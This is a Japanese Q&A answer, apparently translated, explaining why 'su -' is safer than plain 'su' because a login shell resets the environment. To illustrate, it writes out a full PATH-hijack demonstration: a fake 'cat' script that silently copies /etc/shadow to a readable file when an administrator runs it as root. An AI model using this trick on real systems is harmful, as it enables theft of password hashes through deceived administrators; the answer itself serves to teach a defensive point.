なぜrootとしてログインするのがsu -
優先されているのかわかりません。su
ベストアンサー1
su -
ユーザー切り替え後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、きれいな基盤を提供します。
su
ユーザーを切り替えて、既存のユーザーとほぼ同じ環境の一般的なシェルを提供するだけです。
あなたがコンピュータへの一般ユーザーアクセスを持っているソフトウェア開発者であり、無知な管理者がrootアクセスを許可していないと想像してください。 (希望的に)彼をだましましょう。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
これで、ホームフォルダでダミーファイルが利用できない理由を管理者に問い合わせてもcat
機能しません。
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
管理者があまり賢くないか少し怠惰な場合は、管理者が机に来て自分のスーパーユーザー権限を使用しようとする可能性があります。
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
うわー!最高管理者ありがとうございます!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
へへ。
$PATH
破損した変数はリセットされないことがわかります。管理者が呼び出すと、su -
これは発生しません。